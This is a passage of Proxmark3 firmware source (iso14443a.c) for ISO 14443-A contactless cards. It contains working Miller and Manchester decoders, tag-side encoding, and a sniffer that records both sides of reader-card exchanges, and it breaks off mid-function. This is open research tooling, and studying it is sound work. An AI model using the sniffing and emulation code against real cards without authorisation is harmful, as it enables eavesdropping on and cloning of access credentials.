[proxmark3-svn] / armsrc / iso14443a.c

//-----------------------------------------------------------------------------
// Merlok - June 2011, 2012
// Gerhard de Koning Gans - May 2008
// Hagen Fritsch - June 2010
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Routines to support ISO 14443 type A.
//-----------------------------------------------------------------------------

#include "iso14443a.h"

#include <stdio.h>
#include <string.h>
#include "proxmark3.h"
#include "apps.h"
#include "util.h"
#include "cmd.h"
#include "iso14443crc.h"
#include "crapto1/crapto1.h"
#include "mifareutil.h"
#include "mifaresniff.h"
#include "BigBuf.h"
#include "protocols.h"
#include "parity.h"
#include "fpgaloader.h"

typedef struct {
        enum {
                DEMOD_UNSYNCD,
                // DEMOD_HALF_SYNCD,
                // DEMOD_MOD_FIRST_HALF,
                // DEMOD_NOMOD_FIRST_HALF,
                DEMOD_MANCHESTER_DATA
        } state;
        uint16_t twoBits;
        uint16_t highCnt;
        uint16_t bitCount;
        uint16_t collisionPos;
        uint16_t syncBit;
        uint8_t  parityBits;
        uint8_t  parityLen;
        uint16_t shiftReg;
        uint16_t samples;
        uint16_t len;
        uint32_t startTime, endTime;
        uint8_t  *output;
        uint8_t  *parity;
} tDemod;

typedef enum {
        MOD_NOMOD = 0,
        MOD_SECOND_HALF,
        MOD_FIRST_HALF,
        MOD_BOTH_HALVES
        } Modulation_t;

typedef struct {
        enum {
                STATE_UNSYNCD,
                STATE_START_OF_COMMUNICATION,
                STATE_MILLER_X,
                STATE_MILLER_Y,
                STATE_MILLER_Z,
                // DROP_NONE,
                // DROP_FIRST_HALF,
                } state;
        uint16_t shiftReg;
        int16_t  bitCount;
        uint16_t len;
        uint16_t byteCntMax;
        uint16_t posCnt;
        uint16_t syncBit;
        uint8_t  parityBits;
        uint8_t  parityLen;
        uint32_t fourBits;
        uint32_t startTime, endTime;
    uint8_t *output;
        uint8_t *parity;
} tUart;

static uint32_t iso14a_timeout;
#define MAX_ISO14A_TIMEOUT 524288

int rsamples = 0;
uint8_t trigger = 0;
// the block number for the ISO14443-4 PCB
static uint8_t iso14_pcb_blocknum = 0;

//
// ISO14443 timing:
//
// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56Mhz) cycles
#define REQUEST_GUARD_TIME (7000/16 + 1)
// minimum time between last modulation of tag and next start bit from reader to tag: 1172 carrier cycles 
#define FRAME_DELAY_TIME_PICC_TO_PCD (1172/16 + 1) 
// bool LastCommandWasRequest = false;

//
// Total delays including SSC-Transfers between ARM and FPGA. These are in carrier clock cycles (1/13,56MHz)
//
// When the PM acts as reader and is receiving tag data, it takes
// 3 ticks delay in the AD converter
// 16 ticks until the modulation detector completes and sets curbit
// 8 ticks until bit_to_arm is assigned from curbit
// 8*16 ticks for the transfer from FPGA to ARM
// 4*16 ticks until we measure the time
// - 8*16 ticks because we measure the time of the previous transfer 
#define DELAY_AIR2ARM_AS_READER (3 + 16 + 8 + 8*16 + 4*16 - 8*16) 

// When the PM acts as a reader and is sending, it takes
// 4*16 ticks until we can write data to the sending hold register
// 8*16 ticks until the SHR is transferred to the Sending Shift Register
// 8 ticks until the first transfer starts
// 8 ticks later the FPGA samples the data
// 1 tick to assign mod_sig_coil
#define DELAY_ARM2AIR_AS_READER (4*16 + 8*16 + 8 + 8 + 1)

// When the PM acts as tag and is receiving it takes
// 2 ticks delay in the RF part (for the first falling edge),
// 3 ticks for the A/D conversion,
// 8 ticks on average until the start of the SSC transfer,
// 8 ticks until the SSC samples the first data
// 7*16 ticks to complete the transfer from FPGA to ARM
// 8 ticks until the next ssp_clk rising edge
// 4*16 ticks until we measure the time 
// - 8*16 ticks because we measure the time of the previous transfer 
#define DELAY_AIR2ARM_AS_TAG (2 + 3 + 8 + 8 + 7*16 + 8 + 4*16 - 8*16)
 
// The FPGA will report its internal sending delay in
uint16_t FpgaSendQueueDelay;
// the 5 first bits are the number of bits buffered in mod_sig_buf
// the last three bits are the remaining ticks/2 after the mod_sig_buf shift
#define DELAY_FPGA_QUEUE (FpgaSendQueueDelay<<1)

// When the PM acts as tag and is sending, it takes
// 4*16 + 8 ticks until we can write data to the sending hold register
// 8*16 ticks until the SHR is transferred to the Sending Shift Register
// 8 ticks later the FPGA samples the first data
// + 16 ticks until assigned to mod_sig
// + 1 tick to assign mod_sig_coil
// + a varying number of ticks in the FPGA Delay Queue (mod_sig_buf)
#define DELAY_ARM2AIR_AS_TAG (4*16 + 8 + 8*16 + 8 + 16 + 1 + DELAY_FPGA_QUEUE)

// When the PM acts as sniffer and is receiving tag data, it takes
// 3 ticks A/D conversion
// 14 ticks to complete the modulation detection
// 8 ticks (on average) until the result is stored in to_arm
// + the delays in transferring data - which is the same for
// sniffing reader and tag data and therefore not relevant
#define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8) 
 
// When the PM acts as sniffer and is receiving reader data, it takes
// 2 ticks delay in analogue RF receiver (for the falling edge of the 
// start bit, which marks the start of the communication)
// 3 ticks A/D conversion
// 8 ticks on average until the data is stored in to_arm.
// + the delays in transferring data - which is the same for
// sniffing reader and tag data and therefore not relevant
#define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8) 

//variables used for timing purposes:
//these are in ssp_clk cycles:
static uint32_t NextTransferTime;
static uint32_t LastTimeProxToAirStart;
static uint32_t LastProxToAirDuration;



// CARD TO READER - manchester
// Sequence D: 11110000 modulation with subcarrier during first half
// Sequence E: 00001111 modulation with subcarrier during second half
// Sequence F: 00000000 no modulation with subcarrier
// READER TO CARD - miller
// Sequence X: 00001100 drop after half a period
// Sequence Y: 00000000 no drop
// Sequence Z: 11000000 drop at start
#define SEC_D 0xf0
#define SEC_E 0x0f
#define SEC_F 0x00
#define SEC_X 0x0c
#define SEC_Y 0x00
#define SEC_Z 0xc0

void iso14a_set_trigger(bool enable) {
        trigger = enable;
}


void iso14a_set_timeout(uint32_t timeout) {
        // adjust timeout by FPGA delays and 2 additional ssp_frames to detect SOF
        iso14a_timeout = timeout + (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/(16*8) + 2;
        if(MF_DBGLEVEL >= 3) Dbprintf("ISO14443A Timeout set to %ld (%dms)", timeout, timeout / 106);
}


uint32_t iso14a_get_timeout(void) {
        return iso14a_timeout - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/(16*8) - 2;
}

//-----------------------------------------------------------------------------
// Generate the parity value for a byte sequence
//
//-----------------------------------------------------------------------------
void GetParity(const uint8_t *pbtCmd, uint16_t iLen, uint8_t *par)
{
        uint16_t paritybit_cnt = 0;
        uint16_t paritybyte_cnt = 0;
        uint8_t parityBits = 0;

        for (uint16_t i = 0; i < iLen; i++) {
                // Generate the parity bits
                parityBits |= ((oddparity8(pbtCmd[i])) << (7-paritybit_cnt));
                if (paritybit_cnt == 7) {
                        par[paritybyte_cnt] = parityBits;       // save 8 Bits parity
                        parityBits = 0;                                         // and advance to next Parity Byte
                        paritybyte_cnt++;
                        paritybit_cnt = 0;
                } else {
                        paritybit_cnt++;
                }
        }

        // save remaining parity bits
        par[paritybyte_cnt] = parityBits;
        
}

void AppendCrc14443a(uint8_t* data, int len)
{
        ComputeCrc14443(CRC_14443_A,data,len,data+len,data+len+1);
}

static void AppendCrc14443b(uint8_t* data, int len)
{
        ComputeCrc14443(CRC_14443_B,data,len,data+len,data+len+1);
}


//=============================================================================
// ISO 14443 Type A - Miller decoder
//=============================================================================
// Basics:
// This decoder is used when the PM3 acts as a tag.
// The reader will generate "pauses" by temporarily switching of the field. 
// At the PM3 antenna we will therefore measure a modulated antenna voltage. 
// The FPGA does a comparison with a threshold and would deliver e.g.:
// ........  1 1 1 1 1 1 0 0 1 1 1 1 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1 1 1 1  .......
// The Miller decoder needs to identify the following sequences:
// 2 (or 3) ticks pause followed by 6 (or 5) ticks unmodulated:         pause at beginning - Sequence Z ("start of communication" or a "0")
// 8 ticks without a modulation:                                                                        no pause - Sequence Y (a "0" or "end of communication" or "no information")
// 4 ticks unmodulated followed by 2 (or 3) ticks pause:                        pause in second half - Sequence X (a "1")
// Note 1: the bitstream may start at any time. We therefore need to sync.
// Note 2: the interpretation of Sequence Y and Z depends on the preceding sequence.
//-----------------------------------------------------------------------------
static tUart Uart;

// Lookup-Table to decide if 4 raw bits are a modulation.
// We accept the following:
// 0001  -   a 3 tick wide pause
// 0011  -   a 2 tick wide pause, or a three tick wide pause shifted left
// 0111  -   a 2 tick wide pause shifted left
// 1001  -   a 2 tick wide pause shifted right
const bool Mod_Miller_LUT[] = {
        false,  true, false, true,  false, false, false, true,
        false,  true, false, false, false, false, false, false
};
#define IsMillerModulationNibble1(b) (Mod_Miller_LUT[(b & 0x000000F0) >> 4])
#define IsMillerModulationNibble2(b) (Mod_Miller_LUT[(b & 0x0000000F)])

static void UartReset()
{
        Uart.state = STATE_UNSYNCD;
        Uart.bitCount = 0;
        Uart.len = 0;                                           // number of decoded data bytes
        Uart.parityLen = 0;                                     // number of decoded parity bytes
        Uart.shiftReg = 0;                                      // shiftreg to hold decoded data bits
        Uart.parityBits = 0;                            // holds 8 parity bits
        Uart.startTime = 0;
        Uart.endTime = 0;
}

static void UartInit(uint8_t *data, uint8_t *parity)
{
        Uart.output = data;
        Uart.parity = parity;
        Uart.fourBits = 0x00000000;                     // clear the buffer for 4 Bits
        UartReset();
}

// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
static RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time)
{

        Uart.fourBits = (Uart.fourBits << 8) | bit;
        
        if (Uart.state == STATE_UNSYNCD) {                                                                                      // not yet synced
        
                Uart.syncBit = 9999;                                                                                                    // not set
                // The start bit is one ore more Sequence Y followed by a Sequence Z (... 11111111 00x11111). We need to distinguish from
                // Sequence X followed by Sequence Y followed by Sequence Z (111100x1 11111111 00x11111)
                // we therefore look for a ...xx11111111111100x11111xxxxxx... pattern 
                // (12 '1's followed by 2 '0's, eventually followed by another '0', followed by 5 '1's)
                #define ISO14443A_STARTBIT_MASK         0x07FFEF80                                                      // mask is    00000111 11111111 11101111 10000000
                #define ISO14443A_STARTBIT_PATTERN      0x07FF8F80                                                      // pattern is 00000111 11111111 10001111 10000000
                if              ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 0)) == ISO14443A_STARTBIT_PATTERN >> 0) Uart.syncBit = 7;
                else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 1)) == ISO14443A_STARTBIT_PATTERN >> 1) Uart.syncBit = 6;
                else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 2)) == ISO14443A_STARTBIT_PATTERN >> 2) Uart.syncBit = 5;
                else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 3)) == ISO14443A_STARTBIT_PATTERN >> 3) Uart.syncBit = 4;
                else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 4)) == ISO14443A_STARTBIT_PATTERN >> 4) Uart.syncBit = 3;
                else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 5)) == ISO14443A_STARTBIT_PATTERN >> 5) Uart.syncBit = 2;
                else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 6)) == ISO14443A_STARTBIT_PATTERN >> 6) Uart.syncBit = 1;
                else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 7)) == ISO14443A_STARTBIT_PATTERN >> 7) Uart.syncBit = 0;

                if (Uart.syncBit != 9999) {                                                                                             // found a sync bit
                        Uart.startTime = non_real_time?non_real_time:(GetCountSspClk() & 0xfffffff8);
                        Uart.startTime -= Uart.syncBit;
                        Uart.endTime = Uart.startTime;
                        Uart.state = STATE_START_OF_COMMUNICATION;
                }

        } else {

                if (IsMillerModulationNibble1(Uart.fourBits >> Uart.syncBit)) {                 
                        if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) {         // Modulation in both halves - error
                                UartReset();
                        } else {                                                                                                                        // Modulation in first half = Sequence Z = logic "0"
                                if (Uart.state == STATE_MILLER_X) {                                                             // error - must not follow after X
                                        UartReset();
                                } else {
                                        Uart.bitCount++;
                                        Uart.shiftReg = (Uart.shiftReg >> 1);                                           // add a 0 to the shiftreg
                                        Uart.state = STATE_MILLER_Z;
                                        Uart.endTime = Uart.startTime + 8*(9*Uart.len + Uart.bitCount + 1) - 6;
                                        if(Uart.bitCount >= 9) {                                                                        // if we decoded a full byte (including parity)
                                                Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
                                                Uart.parityBits <<= 1;                                                                  // make room for the parity bit
                                                Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01);               // store parity bit
                                                Uart.bitCount = 0;
                                                Uart.shiftReg = 0;
                                                if((Uart.len&0x0007) == 0) {                                                    // every 8 data bytes
                                                        Uart.parity[Uart.parityLen++] = Uart.parityBits;        // store 8 parity bits
                                                        Uart.parityBits = 0;
                                                }
                                        }
                                }
                        }
                } else {
                        if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) {         // Modulation second half = Sequence X = logic "1"
                                Uart.bitCount++;
                                Uart.shiftReg = (Uart.shiftReg >> 1) | 0x100;                                   // add a 1 to the shiftreg
                                Uart.state = STATE_MILLER_X;
                                Uart.endTime = Uart.startTime + 8*(9*Uart.len + Uart.bitCount + 1) - 2;
                                if(Uart.bitCount >= 9) {                                                                                // if we decoded a full byte (including parity)
                                        Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
                                        Uart.parityBits <<= 1;                                                                          // make room for the new parity bit
                                        Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01);                       // store parity bit
                                        Uart.bitCount = 0;
                                        Uart.shiftReg = 0;
                                        if ((Uart.len&0x0007) == 0) {                                                           // every 8 data bytes
                                                Uart.parity[Uart.parityLen++] = Uart.parityBits;                // store 8 parity bits
                                                Uart.parityBits = 0;
                                        }
                                }
                        } else {                                                                                                                        // no modulation in both halves - Sequence Y
                                if (Uart.state == STATE_MILLER_Z || Uart.state == STATE_MILLER_Y) {     // Y after logic "0" - End of Communication
                                        Uart.state = STATE_UNSYNCD;
                                        Uart.bitCount--;                                                                                        // last "0" was part of EOC sequence
                                        Uart.shiftReg <<= 1;                                                                            // drop it
                                        if(Uart.bitCount > 0) {                                                                         // if we decoded some bits
                                                Uart.shiftReg >>= (9 - Uart.bitCount);                                  // right align them
                                                Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);               // add last byte to the output
                                                Uart.parityBits <<= 1;                                                                  // add a (void) parity bit
                                                Uart.parityBits <<= (8 - (Uart.len&0x0007));                    // left align parity bits
                                                Uart.parity[Uart.parityLen++] = Uart.parityBits;                // and store it
                                                return true;
                                        } else if (Uart.len & 0x0007) {                                                         // there are some parity bits to store
                                                Uart.parityBits <<= (8 - (Uart.len&0x0007));                    // left align remaining parity bits
                                                Uart.parity[Uart.parityLen++] = Uart.parityBits;                // and store them
                                        }
                                        if (Uart.len) {
                                                return true;                                                                                    // we are finished with decoding the raw data sequence
                                        } else {
                                                UartReset();                                                                                    // Nothing received - start over
                                        }
                                }
                                if (Uart.state == STATE_START_OF_COMMUNICATION) {                               // error - must not follow directly after SOC
                                        UartReset();
                                } else {                                                                                                                // a logic "0"
                                        Uart.bitCount++;
                                        Uart.shiftReg = (Uart.shiftReg >> 1);                                           // add a 0 to the shiftreg
                                        Uart.state = STATE_MILLER_Y;
                                        if(Uart.bitCount >= 9) {                                                                        // if we decoded a full byte (including parity)
                                                Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
                                                Uart.parityBits <<= 1;                                                                  // make room for the parity bit
                                                Uart.parityBits |= ((Uart.shiftReg >> 8) & 0x01);               // store parity bit
                                                Uart.bitCount = 0;
                                                Uart.shiftReg = 0;
                                                if ((Uart.len&0x0007) == 0) {                                                   // every 8 data bytes
                                                        Uart.parity[Uart.parityLen++] = Uart.parityBits;        // store 8 parity bits
                                                        Uart.parityBits = 0;
                                                }
                                        }
                                }
                        }
                }
                        
        } 

    return false;       // not finished yet, need more data
}



//=============================================================================
// ISO 14443 Type A - Manchester decoder
//=============================================================================
// Basics:
// This decoder is used when the PM3 acts as a reader.
// The tag will modulate the reader field by asserting different loads to it. As a consequence, the voltage
// at the reader antenna will be modulated as well. The FPGA detects the modulation for us and would deliver e.g. the following:
// ........ 0 0 1 1 1 1 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 .......
// The Manchester decoder needs to identify the following sequences:
// 4 ticks modulated followed by 4 ticks unmodulated:   Sequence D = 1 (also used as "start of communication")
// 4 ticks unmodulated followed by 4 ticks modulated:   Sequence E = 0
// 8 ticks unmodulated:                                                                 Sequence F = end of communication
// 8 ticks modulated:                                                                   A collision. Save the collision position and treat as Sequence D
// Note 1: the bitstream may start at any time. We therefore need to sync.
// Note 2: parameter offset is used to determine the position of the parity bits (required for the anticollision command only)
static tDemod Demod;

// Lookup-Table to decide if 4 raw bits are a modulation.
// We accept three or four "1" in any position
const bool Mod_Manchester_LUT[] = {
        false, false, false, false, false, false, false, true,
        false, false, false, true,  false, true,  true,  true
};

#define IsManchesterModulationNibble1(b) (Mod_Manchester_LUT[(b & 0x00F0) >> 4])
#define IsManchesterModulationNibble2(b) (Mod_Manchester_LUT[(b & 0x000F)])


static void DemodReset()
{
        Demod.state = DEMOD_UNSYNCD;
        Demod.len = 0;                                          // number of decoded data bytes
        Demod.parityLen = 0;
        Demod.shiftReg = 0;                                     // shiftreg to hold decoded data bits
        Demod.parityBits = 0;                           // 
        Demod.collisionPos = 0;                         // Position of collision bit
        Demod.twoBits = 0xffff;                         // buffer for 2 Bits
        Demod.highCnt = 0;
        Demod.startTime = 0;
        Demod.endTime = 0;
}

static void DemodInit(uint8_t *data, uint8_t *parity)
{
        Demod.output = data;
        Demod.parity = parity;
        DemodReset();
}

// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
static RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time)
{

        Demod.twoBits = (Demod.twoBits << 8) | bit;
        
        if (Demod.state == DEMOD_UNSYNCD) {

                if (Demod.highCnt < 2) {                                                                                        // wait for a stable unmodulated signal
                        if (Demod.twoBits == 0x0000) {
                                Demod.highCnt++;
                        } else {
                                Demod.highCnt = 0;
                        }
                } else {
                        Demod.syncBit = 0xFFFF;                 // not set
                        if              ((Demod.twoBits & 0x7700) == 0x7000) Demod.syncBit = 7; 
                        else if ((Demod.twoBits & 0x3B80) == 0x3800) Demod.syncBit = 6;
                        else if ((Demod.twoBits & 0x1DC0) == 0x1C00) Demod.syncBit = 5;
                        else if ((Demod.twoBits & 0x0EE0) == 0x0E00) Demod.syncBit = 4;
                        else if ((Demod.twoBits & 0x0770) == 0x0700) Demod.syncBit = 3;
                        else if ((Demod.twoBits & 0x03B8) == 0x0380) Demod.syncBit = 2;
                        else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1;
                        else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0;
                        if (Demod.syncBit != 0xFFFF) {
                                Demod.startTime = non_real_time?non_real_time:(GetCountSspClk() & 0xfffffff8);
                                Demod.startTime -= Demod.syncBit;
                                Demod.bitCount = offset;                        // number of decoded data bits
                                Demod.state = DEMOD_MANCHESTER_DATA;
                        }
                }

        } else {

                if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) {            // modulation in first half
                        if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) {    // ... and in second half = collision
                                if (!Demod.collisionPos) {
                                        Demod.collisionPos = (Demod.len << 3) + Demod.bitCount;
                                }
                        }                                                                                                                       // modulation in first half only - Sequence D = 1
                        Demod.bitCount++;
                        Demod.shiftReg = (Demod.shiftReg >> 1) | 0x100;                         // in both cases, add a 1 to the shiftreg
                        if(Demod.bitCount == 9) {                                                                       // if we decoded a full byte (including parity)
                                Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
                                Demod.parityBits <<= 1;                                                                 // make room for the parity bit
                                Demod.parityBits |= ((Demod.shiftReg >> 8) & 0x01);     // store parity bit
                                Demod.bitCount = 0;
                                Demod.shiftReg = 0;
                                if((Demod.len&0x0007) == 0) {                                                   // every 8 data bytes
                                        Demod.parity[Demod.parityLen++] = Demod.parityBits;     // store 8 parity bits
                                        Demod.parityBits = 0;
                                }
                        }
                        Demod.endTime = Demod.startTime + 8*(9*Demod.len + Demod.bitCount + 1) - 4;
                } else {                                                                                                                // no modulation in first half
                        if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) {    // and modulation in second half = Sequence E = 0
                                Demod.bitCount++;
                                Demod.shiftReg = (Demod.shiftReg >> 1);                                 // add a 0 to the shiftreg
                                if(Demod.bitCount >= 9) {                                                               // if we decoded a full byte (including parity)
                                        Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
                                        Demod.parityBits <<= 1;                                                         // make room for the new parity bit
                                        Demod.parityBits |= ((Demod.shiftReg >> 8) & 0x01); // store parity bit
                                        Demod.bitCount = 0;
                                        Demod.shiftReg = 0;
                                        if ((Demod.len&0x0007) == 0) {                                          // every 8 data bytes
                                                Demod.parity[Demod.parityLen++] = Demod.parityBits;     // store 8 parity bits1
                                                Demod.parityBits = 0;
                                        }
                                }
                                Demod.endTime = Demod.startTime + 8*(9*Demod.len + Demod.bitCount + 1);
                        } else {                                                                                                        // no modulation in both halves - End of communication
                                if(Demod.bitCount > 0) {                                                                // there are some remaining data bits
                                        Demod.shiftReg >>= (9 - Demod.bitCount);                        // right align the decoded bits
                                        Demod.output[Demod.len++] = Demod.shiftReg & 0xff;      // and add them to the output
                                        Demod.parityBits <<= 1;                                                         // add a (void) parity bit
                                        Demod.parityBits <<= (8 - (Demod.len&0x0007));          // left align remaining parity bits
                                        Demod.parity[Demod.parityLen++] = Demod.parityBits;     // and store them
                                        return true;
                                } else if (Demod.len & 0x0007) {                                                // there are some parity bits to store
                                        Demod.parityBits <<= (8 - (Demod.len&0x0007));          // left align remaining parity bits
                                        Demod.parity[Demod.parityLen++] = Demod.parityBits;     // and store them
                                }
                                if (Demod.len) {
                                        return true;                                                                            // we are finished with decoding the raw data sequence
                                } else {                                                                                                // nothing received. Start over
                                        DemodReset();
                                }
                        }
                }
                        
        } 

    return false;       // not finished yet, need more data
}

//=============================================================================
// Finally, a `sniffer' for ISO 14443 Type A
// Both sides of communication!
//=============================================================================

//-----------------------------------------------------------------------------
// Record the sequence of commands sent by the reader to the tag, with
// triggering so that we start recording at the point that the tag is moved
// near the reader.
//-----------------------------------------------------------------------------
void RAMFUNC SnoopIso14443a(uint8_t param) {
        // param:
        // bit 0 - trigger from first card answer
        // bit 1 - trigger from first reader 7-bit request
        
        LEDsoff();

        iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER);

        // Allocate memory from BigBuf for some buffers
        // free all previous allocations first
        BigBuf_free();

        // The command (reader -> tag) that we're receiving.
        uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE);
        uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE);
        
        // The response (tag -> reader) that we're receiving.
        uint8_t *receivedResponse = BigBuf_malloc(MAX_FRAME_SIZE);
        uint8_t *receivedResponsePar = BigBuf_malloc(MAX_PARITY_SIZE);
        
        // The DMA buffer, used to stream samples from the FPGA
        uint8_t *dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE);

        // init trace buffer
        clear_trace();
        set_tracing(true);

        uint8_t *data = dmaBuf;
        uint8_t previous_data = 0;
        int maxDataLen = 0;
        int dataLen = 0;
        bool TagIsActive = false;
        bool ReaderIsActive = false;
        
        // Set up the demodulator for tag -> reader responses.
        DemodInit(receivedResponse, receivedResponsePar);
        
        // Set up the demodulator for the reader -> tag commands
        UartInit(receivedCmd, receivedCmdPar);
        
        // Setup and start DMA.
        FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE);
        
        // We won't start recording the frames that we acquire until we trigger;
        // a good trigger condition to get started is probably when we see a
        // response from the tag.
        // triggered == false -- to wait first for card
        bool triggered = !(param & 0x03); 
        
        // And now we loop, receiving samples.
        for(uint32_t rsamples = 0; true; ) {

                if(BUTTON_PRESS()) {
                        DbpString("cancelled by button");
                        break;
                }

                LED_A_ON();
                WDT_HIT();

                int register readBufDataP = data - dmaBuf;
                int register dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR;
                if (readBufDataP <= dmaBufDataP){
                        dataLen = dmaBufDataP - readBufDataP;
                } else {
                        dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP;
                }
                // test for length of buffer
                if(dataLen > maxDataLen) {
                        maxDataLen = dataLen;
                        if(dataLen > (9 * DMA_BUFFER_SIZE / 10)) {
                                Dbprintf("blew circular buffer! dataLen=%d", dataLen);
                                break;
                        }
                }
                if(dataLen < 1) continue;

                // primary buffer was stopped( <-- we lost data!
                if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
                        AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf;
                        AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
                        Dbprintf("RxEmpty ERROR!!! data length:%d", dataLen); // temporary
                }
                // secondary buffer sets as primary, secondary buffer was stopped
                if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
                        AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf;
                        AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
                }

                LED_A_OFF();
                
                if (rsamples & 0x01) {                          // Need two samples to feed Miller and Manchester-Decoder

                        if(!TagIsActive) {              // no need to try decoding reader data if the tag is sending
                                uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4);
                                if (MillerDecoding(readerdata, (rsamples-1)*4)) {
                                        LED_C_ON();

                                        // check - if there is a short 7bit request from reader
                                        if ((!triggered) && (param & 0x02) && (Uart.len == 1) && (Uart.bitCount == 7)) triggered = true;

                                        if(triggered) {
                                                if (!LogTrace(receivedCmd, 
                                                                                Uart.len, 
                                                                                Uart.startTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
                                                                                Uart.endTime*16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
                                                                                Uart.parity, 
                                                                                true)) break;
                                        }
                                        /* And ready to receive another command. */
                                        UartReset();
                                        /* And also reset the demod code, which might have been */
                                        /* false-triggered by the commands from the reader. */
                                        DemodReset();
                                        LED_B_OFF();
                                }
                                ReaderIsActive = (Uart.state != STATE_UNSYNCD);
                        }

                        if(!ReaderIsActive) {           // no need to try decoding tag data if the reader is sending - and we cannot afford the time
                                uint8_t tagdata = (previous_data << 4) | (*data & 0x0F);
                                if(ManchesterDecoding(tagdata, 0, (rsamples-1)*4)) {
                                        LED_B_ON();

                                        if (!LogTrace(receivedResponse, 
                                                                        Demod.len, 
                                                                        Demod.startTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, 
                                                                        Demod.endTime*16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
                                                                        Demod.parity,
                                                                        false)) break;

                                        if ((!triggered) && (param & 0x01)) triggered = true;

                                        // And ready to receive another response.
                                        DemodReset();
                                        // And reset the Miller decoder including itS (now outdated) input buffer
                                        UartInit(receivedCmd, receivedCmdPar);

                                        LED_C_OFF();
                                } 
                                TagIsActive = (Demod.state != DEMOD_UNSYNCD);
                        }
                }

                previous_data = *data;
                rsamples++;
                data++;
                if(data == dmaBuf + DMA_BUFFER_SIZE) {
                        data = dmaBuf;
                }
        } // main cycle

        DbpString("COMMAND FINISHED");

        FpgaDisableSscDma();
        Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len);
        Dbprintf("traceLen=%d, Uart.output[0]=%08x", BigBuf_get_traceLen(), (uint32_t)Uart.output[0]);
        LEDsoff();
}

//-----------------------------------------------------------------------------
// Prepare tag messages
//-----------------------------------------------------------------------------
static void CodeIso14443aAsTagPar(const uint8_t *cmd, uint16_t len, uint8_t *parity)
{
        ToSendReset();

        // Correction bit, might be removed when not needed
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        ToSendStuffBit(1);  // 1
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        
        // Send startbit
        ToSend[++ToSendMax] = SEC_D;
        LastProxToAirDuration = 8 * ToSendMax - 4;

        for(uint16_t i = 0; i < len; i++) {
                uint8_t b = cmd[i];

                // Data bits
                for(uint16_t j = 0; j < 8; j++) {
                        if(b & 1) {
                                ToSend[++ToSendMax] = SEC_D;
                        } else {
                                ToSend[++ToSendMax] = SEC_E;
                        }
                        b >>= 1;
                }

                // Get the parity bit
                if (parity[i>>3] & (0x80>>(i&0x0007))) {
                        ToSend[++ToSendMax] = SEC_D;
                        LastProxToAirDuration = 8 * ToSendMax - 4;
                } else {
                        ToSend[++ToSendMax] = SEC_E;
                        LastProxToAirDuration = 8 * ToSendMax;
                }
        }

        // Send stopbit
        ToSend[++ToSendMax] = SEC_F;

        // Convert from last byte pos to length
        ToSendMax++;
}


static void Code4bitAnswerAsTag(uint8_t cmd)
{
        int i;

        ToSendReset();

        // Correction bit, might be removed when not needed
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        ToSendStuffBit(1);  // 1
        ToSendStuffBit(0);
        ToSendStuffBit(0);
        ToSendStuffBit(0);

        // Send startbit
